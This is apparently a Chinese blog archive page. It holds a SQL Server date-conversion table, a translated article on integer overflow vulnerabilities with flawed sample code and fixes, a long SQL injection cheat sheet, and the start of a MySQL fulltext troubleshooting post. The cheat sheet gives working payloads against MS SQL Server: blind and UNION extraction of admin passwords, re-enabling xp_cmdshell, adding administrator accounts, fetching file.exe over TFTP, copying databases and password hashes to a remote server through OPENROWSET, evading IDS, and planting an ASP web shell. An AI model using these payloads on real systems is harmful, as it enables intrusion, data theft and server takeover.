Skip to content

sql

Sql时间转varchar字符串

 

CONVERT(data_type,expression_r_r[,style])

语句及查询结果:

SELECT CONVERT(varchar(100), GETDATE_r(), 0): 05 16 2006 10:57AM

SELECT CONVERT(varchar(100), GETDATE_r(), 1): 05/16/06

SELECT CONVERT(varchar(100), GETDATE_r(), 2): 06.05.16

SELECT CONVERT(varchar(100), GETDATE_r(), 3): 16/05/06

SELECT CONVERT(varchar(100), GETDATE_r(), 4): 16.05.06

SELECT CONVERT(varchar(100), GETDATE_r(), 5): 16-05-06

SELECT CONVERT(varchar(100), GETDATE_r(), 6): 16 05 06

SELECT CONVERT(varchar(100), GETDATE_r(), 7): 05 16, 06

SELECT CONVERT(varchar(100), GETDATE_r(), 8): 10:57:46

SELECT CONVERT(varchar(100), GETDATE_r(), 9): 05 16 2006 10:57:46:827AM

SELECT CONVERT(varchar(100), GETDATE_r(), 10): 05-16-06

SELECT CONVERT(varchar(100), GETDATE_r(), 11): 06/05/16

SELECT CONVERT(varchar(100), GETDATE_r(), 12): 060516

SELECT CONVERT(varchar(100), GETDATE_r(), 13): 16 05 2006 10:57:46:937

SELECT CONVERT(varchar(100), GETDATE_r(), 14): 10:57:46:967

SELECT CONVERT(varchar(100), GETDATE_r(), 20): 2006-05-16 10:57:47

SELECT CONVERT(varchar(100), GETDATE_r(), 21): 2006-05-16 10:57:47.157

SELECT CONVERT(varchar(100), GETDATE_r(), 22): 05/16/06 10:57:47 AM

SELECT CONVERT(varchar(100), GETDATE_r(), 23): 2006-05-16

SELECT CONVERT(varchar(100), GETDATE_r(), 24): 10:57:47

SELECT CONVERT(varchar(100), GETDATE_r(), 25): 2006-05-16 10:57:47.250

SELECT CONVERT(varchar(100), GETDATE_r(), 100): 05 16 2006 10:57AM

SELECT CONVERT(varchar(100), GETDATE_r(), 101): 05/16/2006

SELECT CONVE

检查代码是否存在整数操作安全漏洞

 

检查代码是否存在整数操作安全漏洞

发布日期 : 09/02/2004 | 更新日期 : 09/02/2004

Michael Howard
Secure Windows Initiative

摘要: Michael Howard 提出关于整数操作安全漏洞的问题,并且阐述可以用来保护自己应用程序的安全性计划。

很多年以前,很少有人听说过整数溢出攻击,但现在好像每隔几天它就会出现一种新的形式。下面的简短列表就是在最近几个月内发现的一些整数溢出的安全性错误:

在本月的专栏中,我将阐述这些错误是如何出现的,如何在代码中搜寻它们以及如何修复它们。

在进入到本文的正题之前,我非常高兴的宣布“Writing Secure Code”接收到了在 2003 年 4 月于 San Francisco 召开的 RSA Security Conference 的“Conference Award for Industry Innovation”。

现在,回到整数攻击问题吧!

我不想解释什么是整数,我假设您知道它们是什么,并且知道有两种类型(有符号和无符号),其中当值是负数时,有符号整数的高位设置为 1,这是对 2 求补算法的结果。您也知道整数大小各有不同,最常见的长度为 64 位、32 位、16 位和 8 位的整数。这就是我所说的关于整数的全部内容,对于本文而言,如果您知道这些知识就足够了。

有三种主要整数操作可以导致安全性漏洞:

  • 上溢和下溢

  • 有符号与无符号的错误

  • 截断

取决于它们自己的情况,这些问题可能不会产生安全性错误。但是,如果您的代码显示有一个或多个这样的问题,并且您的代码会操作内存,那么产生缓冲区溢出错误或应用程序故障的可能性就会增加。让我们仔细查看一下每一项。

上溢和下溢

快速看一下这段代码有什么问题?

bool func(size_t cbSize) {
   if (cbSize < 1024) {
      // we never deal with a string trailing null
      char *buf = new char[cbSize-1];
      memset(buf,0,cbSize-1);

      // do stuff

      delete [] buf;

      return true;
   } else {
      return false;
   }
}

代码是正确的,对吗?它验证 cbSize 不大于 1 KB,并且 new 或 malloc 应该始终正确地分配 1 KB,对吗?让我们忽略以下事实,new 或 malloc 的返回值应该在此时进行检查。同样,cbSize 不能为负数,因为它是 size_t。但是,如果 cbSize 是零,又会如何呢?查看一下分配缓冲区的代码,它从缓冲区大小请求中减去一。从零减去一会产生 size_t 变量,这是一个无符号的整数,其限制为 0xFFFFFFFF(假设为 32 位的值)或者 4 GB。您的应用程序只有结束了,或者更糟!

请看下面相似的问题:

bool func(char *s1, size_t len1,
          char *s2, size_t len2) {
   if (1 + len1 + len2 > 64)
      return false;

   // accommodate for the trailing null in the addition
   char *buf = (char*)malloc(len1+len2+1);
   if (buf) {
      StringCchCopy(buf,len1+len2,s1);
      StringCchCat(buf,len1+len2,s2);
   }

   // do other stuff with buf

   if (buf) free(buf);

   return true;
}

同样,代码看起来编写得很好;它检查数据大小,验证 malloc 是否成功,并且使用 safe 字符串处理函数 StringCchCopy 和 StringCchCat(您可以从 http://msdn.microsoft.com/library/en-us/dnsecure/html/strsafe.asp 阅读更多关于这些字符串处理函数的内容)。但是,这段代码可能会受到整数上溢的危害。如果 len1 是 64,len2 是 0xFFFFFFFF,又会如何呢?确定缓冲区大小的代码合法地将 1、64 和 0xFFFFFFFF 加在一起,由于加操作的限制,会产生 64。接下来,代码仅分配了 64 个字节,然后代码生成了一个长度为 64 个字节的新字符串,然后将 0xFFFFFFFFF 字节与该字符串相连。同样,应用程序将会结束,在某些情况下,如果利用精心设计的大小进行攻击,代码可能会受到可用缓冲区溢出攻击。

此处的另外一个教训就是,如果缓冲区大小计算不正确,_safe 字符串处理函数就不安全。

返回页首

JScript 溢出攻击

当使用乘法时也会出现相同类型的上溢错误,这发生在 Microsoft JScript 错误中。该错误仅表明它自己在使用 JScript 稀疏数组支持时会出现:

var arr = new Array();
arr[1] = 1;
arr[2] = 2;
arr[0x40000001] = 3;

在这个示例中,数组具有三个元素,且长度为 0x40000001(十进制为 1073741825)。但是,由于该示例使用稀疏数组,它只占用内存的三个元素的数组。

实现 JScript 自定义排序例程的 C++ 代码在堆上分配临时的缓冲区、将三个元素复制到临时缓冲区中、使用自定义函数排序临时缓冲区,然后将临时缓冲区的内容移动回数组中。下面是分配临时缓冲区的代码:

TemporaryBuffer = (Element *)malloc(ElementCount * sizeof(Element));

Element 是一个 20 字节的数据结构,用于保存数组项。看起来程序将尝试为临时缓冲区分配大约 20 GB。您可能认为由于大多数人的计算机上不会有 20 GB 的内存,分配尝试将会失败。那么,JScript 常规内存不足处理例程将会处理该问题。遗憾的是,并没有发生这样的情况。

当使用 32 位的整数算法时,由于结果 (0x0000000500000014) 太大无法保存在 32 位的值中,我们会受到一个整数上溢攻击:

0x40000001  *  0x00000014  =   0x0000000500000014

C++ 会丢弃所有不符合的位,因此我们会得到 0x00000014。这就是分配并未失败的原因 - 分配没有尝试去分配 20 GB,而是仅仅尝试分配了 20 个字节。然后,排序例程会假设缓冲区对于保存稀疏数组中的三个元素来说足够大,因此它将组成这三个元素的 60 个字节复制到了 20 个字节的缓冲区中,这样就溢出缓冲区 40 个字节。实在太冒险了!

返回页首

有符号与无符号错误

快速查看下面的代码。它类似于第一个示例。看看您是否能够发现错误,如果您发现了错误,请试着确定该错误会产生什么结果。

bool func(char *s1, int len1,
          char *s2, int len2) {

   char buf[128];

   if (1 + len1 + len2 > 128)
      return false;

   if (buf) {
      strncpy(buf,s1,len1);
      strncat(buf,s2,len2);
   }

   return true;
}

此处的问题在于字符串的大小存储为有符号的整数,因此只要 len2 是负值,len1 就可以大于 128,从而和就小于 128 个字节。但是,到 strncpy 的调用将会溢出 buf 缓冲区。

返回页首

截断错误

让我们查看最后一种攻击类型,通过代码示例,您来猜猜看。

bool func(byte *name, DWORD cbBuf) {
   unsigned short cbCalculatedBufSize = cbBuf;
   byte *buf = (byte*)malloc(cbCalculatedBufSize);
   if (buf) {
      memcpy(buf, name, cbBuf);
      // do stuff with buf
      if (buf) free(buf);
      return true;
   }

   return false;
}

这种攻击,至少这种结果,与前面阐述的 JScript 错误有一点类似。如果 cbBuf 是 0x00010020,又会如何呢?cbCalculatedBufSize 只有 0x20,因为只从 0x00010020 复制了低 16 位。因此,仅分配了 0x20 个字节,并且 0x00010020 字节复制到新分配的目标缓冲区中。请注意,使用 Microsoft Visual C++?/W4 选项编译这段代码会生成:

warning C4244: 'initializing' : conversion from 'DWORD' to 'unsigned
short', possible loss of data

请注意类似下面的操作不要标记为一个警告:

int len = 16;
memcpy(buf, szData, len);

memcpy 的最后一个参数是 size_t,而参数 len 是有符号的。不会发出警告是因为 memcpy 始终假设第三个参数是无符号的,转换成无符号不会改变函数的输出。

注意,如果您尝试为 DWORD 分配一个 size_t,您将会收到一个警告,并不是因为在 32 位平台上可能会出现数据丢失,而是因为在 64 位平台上将会出现数据丢失。

warning C4267: '=' : conversion from 'size_t' to 'DWORD', possible loss
of data

您将收到这个警告,因为所有默认 C++ 项目都使用 -Wp64 选项进行编译,该选项会通知编译器监视 64 位可移植性问题。

返回页首

托管代码中的整数操作问题

整数操作错误可能会发生在托管语言中,例如 C# 和 Visual Basic?.NET,但是潜在的损害会由于代码不直接访问内存而显著地降低。但是,调用本机代码(假设您的代码被授予调用非托管代码的权限)仍然可能会引起类似于上述的安全性问题。通用语言规范 (CLS) 中的整数是有符号的,一个错误就是当在非托管代码中将变量视为无符号的整数时,在托管代码中验证是否为有符号的整数参数。

这个特定的例子提出了一个更通用的建议:始终检查要传递到未托管代码的内容。托管代码中的很多整数操作错误可能会引起 Visual Basic .NET 中的可靠性错误,因为如果发生上溢或下溢,所有这样的操作都将引发 System.OverflowException。

默认情况下,C# 并不引发这些异常。如果您希望检查这些问题,请使用 checked 关键字:

UInt32 i = 0xFFFFFFF0;
UInt32 j = 0x00000100;
UInt32 k;
checked {k = i + j;}

返回页首

补救措施

谁会想到只是操作整数就会导致安全性问题呢?对于易受攻击的代码的简单的补救措施如下所示:

if (A + B > MAX) return -1;

利用无符号整数使用该代码:

if (A + B >= A && A + B < MAX) {
   // cool!
}

第一个操作 A + B >= A,检查是否存在包围,第二个操作确保相加后的和小于目标大小。

对于 JScript 中的操作问题,您可以检查元素的数量不超过预定的值,而预定的值要小于您将要分配给内存的最大量。例如,下面的代码会潜在地分配多达 64 MB 的内存:

const size_t MAX = 1024 * 1024 * 64;
const size_t ELEM_SIZE = sizeof(ELEMENT);
const size_t MAX_ELEMS = MAX / ELEM_SIZE;

if (cElems >= MAX_ELEMS)
   return false;

最后,对于数组索引、缓冲区大小以及相似对象,请使用无符号的整数,例如 DWORD 和 size_t。

返回页首

关键代码检查点

当编译或检查与整数相关的问题的代码时,请记住下列要点:

  • 使用最高的警告级别 /W4 来编译 C 和 C++ 代码。

  • 对于缓冲区大小和元素计数,使用 size_t 或 DWORD。没有任何理由要为这些结构使用有符号的值。

  • 请牢记,size_t 会根据您所使用的平台来表示不同的类型。size_t 是内存地址的大小,因此在 32 位平台上,它是 32 位的值,但在 64 位平台上,它就是 64 位的值。

  • 如果代码执行任意类型的整数操作(加、乘等等),其中结果用于索引到数组或计算缓冲区大小,请确保操作数位于一个小的、容易理解的范围内。

  • 警惕内存分配函数(newmallocGlobalAlloc 等等)的有符号参数,因为它们将被视为无符号的整数。

  • 注意产生 C4018、C4389 和 C4244 警告的操作。

  • 注意抛弃 C4018、C4389 和 C4244 警告的转换。

  • 调查禁用 C4018、C4389 和 C4244 警告的 #pragma warning(disable, Cnnnn) 的所有使用。实际上,将它们标记为注释、重新编译,然后检查与整数相关的所有新的警告。

  • 从其他平台或编译器迁移的代码可能会使用不同的数据大小。千万要小心!

  • 如果从托管代码调用非托管代码,请确保它的符号是正确的。Win32 API 的很多参数都是无符号的 int 或 DWORD,而很多托管代码变量则是有符号的。

  • 最后,如果您使用托管代码,请确保在适当的时候使用 catch OverflowExceptions

返回页首

发现安全漏洞

很多人检查出了我上个月的问题。它是一个整数上溢攻击。那么这段 C# 代码有什么问题呢?

string Status = "No";
string sqlstring ="";
try {
    SqlConnection sql= new SqlConnection(
        @"data source=localhost;" +
        "user id=sa;password=password;");
    sql.Open();
    sqlstring="SELECT HasShipped" +
        " FROM detail WHERE ID='" + Id + "'";
    SqlCommand cmd = new SqlCommand(sqlstring,sql);
    if ((int)cmd.ExecuteScalar() != 0)
        Status = "Yes";
} catch (SqlException se) {
    Status = sqlstring + " failednr";
    foreach (SqlError e in se.Errors) {
        Status += e.Message + "nr";
    }
} catch (Exception e) {
    Status = e.ToString();
}

检查代码是否存在整数操作安全漏洞

收集一些注入语句

标准注入语句
1.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) —判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)–
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) —
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

group by users.id having 1=1–
group by users.id, users.username, users.password, users.privs having 1=1–
; insert into users values( 666, attacker, foobar, 0xffff )–

UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION SELECT TOP 1 login_blank>_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul–

看_blank>服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)–

看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))–

判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
and sa=(SELECT System_blank>_user)–
and user_blank>_name()=dbo–
and 0<>(select user_blank>_name()–

看xp_blank>_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)–

xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:/inetpub/wwwroot/xplog70.dll–

反向PING自己实验
;use master;declare @s int;exec sp_blank>_oacreate “wscript.shell”,@s out;exec sp_blank>_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–

加帐号
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:/WINNT/system32/cmd.exe /c net user jiaoniang$ 1866574 /add–

创建一个虚拟目录E盘:
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w “默认Web站点” -v “e”,”e:/”–

访问属性:(配合写入一个webshell)
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊_blank>技巧::%5c=/ 或者把/和/ 修改%5提交
and 0<>(select top 1 paths from newtable)–

得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9…. 得到更多的_blank>数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,…)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)

得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));–
and (select top 1 swappass from swap)=1–
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)–
;use ku1;–
;create table cmd (str image);– 建立image类型的表cmd

存在xp_blank>_cmdshell的测试过程:
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;– 加SQL帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;–
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;–
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;–
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;–
exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:/WINNT/system32/cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:/WINNT/system32/cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe– 利用TFTP上传文件

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:/
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:/
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)

查询构造:
SELECT * FROM news WHERE id=… AND topic=… AND …..
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;–
;use master;–
:a or name like fff%;– 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;–
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;–
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;–
;update [users] set email=(select top 1 count(id) from password) where name=ffff;–
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)–
insert into users values( 667,123,123,0xffff)–
insert into users values ( 123, admin–, password, 0xffff)–
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库

枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);–
这是将第一个表名更新到aaa的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);–
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));–
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));–
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]

绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:/
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:/

1、 开启远程_blank>数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。

基本语法:
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank>_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank>_database.dbo.syscolumns
复制_blank>数据库:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2

复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
得到hash之后,就可以进行暴力破解。

遍历目录的方法: 先创建一个临时表:temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_blank>_availablemedia;– 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:/;– 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:/;– 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:/web/index.asp;– 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:/;–
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:/ *.asp /s/a;–
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:/Inetpub/AdminScripts/adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:/;– (xp_blank>_dirtree适用权限PUBLIC)
写入表:
语句1:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));–
语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));–
语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));–
语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));–
语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));–
语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));–
语句7:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));–
语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));–
语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));–

把路径写到表中去:
;create table dirs(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree c:/–
and 0<>(select top 1 paths from dirs)–
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))–
;create table dirs1(paths varchar(100), id int)–
;insert dirs exec master.dbo.xp_blank>_dirtree e:/web–
and 0<>(select top 1 paths from dirs1)–

把_blank>数据库备份到网页目录:下载
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:/web/down.bak;–

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)

-=- wscript.shell example -=-
declare @o int
exec sp_blank>_oacreate wscript.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe–

declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:/boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end

declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:/inetpub/wwwroot/foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject(“wscript.shell”): o.run( request.querystring(“cmd”) ) %>

declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank>_oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05

; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05–

xp_blank>_dirtree适用权限PUBLIC
exec master.dbo.xp_blank>_dirtree c:/
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:/
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息

Mysql 创建全文索引失败的问题

 

晚上在给 wordpress 安装 Related Posts 插件,上传并激活插件后,按照readme的说明,在”Related Posts Options” 下面的“SQL Index Table Setup”点击“this script”的连接,来自动修改数据表支持全文索引,可弹出框却提示:
“Something went wrong. Please check the instructions on how to setup the full text index manually.”
readme 中说 如果自动建立全文索引失败. 你将必须人工设置.并给出了SQL代码:

mysql:
ALTER TABLE `wp_posts` ADD FULLTEXT `post_related` (
    `post_name` ,
    `post_content`
)
在 phpMyadmin 中执行代码,返回结果

 
ERROR 1214  “The used table type doesn’t support FULLTEXT indexes ”

“使用的表类型不支持全文索引”? ?

到 phpMyadmin 中看了`wp_posts`表为 …